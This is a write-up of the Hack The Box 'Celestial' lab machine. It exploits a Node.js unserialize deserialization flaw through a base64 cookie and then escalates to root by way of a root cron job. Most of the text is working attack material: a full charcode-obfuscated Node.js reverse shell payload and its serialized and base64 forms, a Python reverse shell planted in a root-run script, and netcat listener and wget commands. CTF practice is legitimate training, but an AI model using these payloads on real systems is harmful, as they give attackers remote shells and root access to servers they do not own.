This is a writeup for the Celestial machine on hackthebox.eu!
We first enumerate for open ports as usual, with the nmap scan:
nmap -sC -sV -Pn 10.10.10.85
Ok… port 3000 is open.. let’s try to browse there:
10.10.10.85:3000
404 is on the page.. hmmm. ctrl+u
whoa.. refreshing the page changed it: hey dummy 2+2 is 22 now shows up
We power up burpsuite and take a look..
We get a weird looking cookie:
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
Let’s decode from URL:
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==
Now now one more time from Base64:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
Interesting.. If I push through a random cookie we get:
interesting, looks like a node JS serialize script
googling for exploits gets me here with a video in the page!
we download the git package by using
git clone https://github.com/ajinabraham/Node.Js-Security-Course/blob/
Then we generate the reverse shell by using the following command with our IP and port
python nodejsshell.py 10.10.16.62 7734
this is what comes out:
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,54,50,34,59,10,80,79,82,84,61,34,55,55,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
now we generate the serialized payload according to the website:
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,54,46,54,50,34,59,10,80,79,82,84,61,34,55,55,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
re-encode to base 64:
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IGV2YWwoU3RyaW5nLmZyb21DaGFyQ29kZSgxMCwxMTgsOTcsMTE0LDMyLDExMCwxMDEsMTE2LDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSwxMTAsMTAxLDExNiwzOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMyLDExNSwxMTIsOTcsMTE5LDExMCwzMiw2MSwzMiwxMTQsMTAxLDExMywxMTcsMTA1LDExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDExNSwxMTIsOTcsMTE5LDExMCw1OSwxMCw3Miw3OSw4Myw4NCw2MSwzNCw0OSw0OCw0Niw0OSw0OCw0Niw0OSw1NCw0Niw1NCw1MCwzNCw1OSwxMCw4MCw3OSw4Miw4NCw2MSwzNCw1NSw1NSw1MSw1MiwzNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMyLDQwLDExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSwxMDAsMzksNDEsMzIsMTIzLDMyLDgzLDExNiwxMTQsMTA1LDExMCwxMDMsNDYsMTEyLDExNCwxMTEsMTE2LDExMSwxMTYsMTIxLDExMiwxMDEsNDYsOTksMTExLDExMCwxMTYsOTcsMTA1LDExMCwxMTUsMzIsNjEsMzIsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMyLDExNCwxMDEsMTE2LDExNywxMTQsMTEwLDMyLDExNiwxMDQsMTA1LDExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiw0MCwxMDUsMTE2LDQxLDMyLDMzLDYxLDMyLDQ1LDQ5LDU5LDMyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwxMTgsOTcsMTE0LDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMsMTExLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiw0MCw4MCw3OSw4Miw4NCw0NCwzMiw3Miw3OSw4Myw4NCw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiw2MSwzMiwxMTUsMTEyLDk3LDExOSwxMTAsNDAsMzksNDcsOTgsMTA1LDExMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTE5LDExNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDExMCwxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTA1LDExMCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExNSwxMTYsMTAwLDExMSwxMTcsMTE2LDQ2LDExMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTAxLDExNCwxMTQsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDExNiwzOSw0NCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsOTksMTExLDEwMCwxMDEsNDQsMTE1LDEwNSwxMDMsMTEwLDk3LDEwOCw0MSwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMDEsMTEwLDEwMCw0MCwzNCw2OCwxMDUsMTE1LDk5LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDExMSwxMTAsNDAsMzksMTAxLDExNCwxMTQsMTExLDExNCwzOSw0NCwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTAxLDQxLDMyLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTAxLDExNiw4NCwxMDUsMTA5LDEwMSwxMTEsMTE3LDExNiw0MCw5OSw0MCw3Miw3OSw4Myw4NCw0NCw4MCw3OSw4Miw4NCw0MSw0NCwzMiw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMTI1LDEwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDU5LDEwKSl9KCkifQ==
nooow we paste it back into the repeater which the request now looks like:
Press go on the repeater.
we have a shell!
cd Documents
ls
find user.txt, we have owned user!
K it’s time to LinEnum:
make a http server:
mkdir www
cd www
python -m SimpleHTTPServer 80
download LinEnum
git clone https://github.com/rebootuser/LinEnum/
copy LinEnum.sh into the www folder
go back to the shell and download that file
wget 10.10.15.165/LinEnum.sh
nothing too crazy, but root is the SU account
we check for cronjobs next run by root:
crontab -l
*/30 * * * * nodejs /home/sun/server.js >/dev/null 2>&1
This is misleading.. I actually tried to edit the server.js file with a reverse shell and wait for hours…
it took a lot of digging to figure out to check the syslog by doing:
cat /var/log/syslog
found this interesting line for a file that runs via root every 5 mins:
Jul 24 10:00:01 sun CRON[5126]: (root) CMD (python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py)
Jul 24 10:00:01 sun CRON[5127]: (sun) CMD (nodejs /home/sun/server.js >/dev/null 2>&1)
Jul 24 10:00:02 sun CRON[5125]: (CRON) info (No MTA installed, discarding output)
uploaded and replaced the script.py file with a python reverse shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.62",7735));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
To make sure it’s runnable, I executed:
chmod -x script.py
now lets open the port to listen to port 7735
type nc -lvp 7735
Wait for a 5 minute interval and viola, we have root.
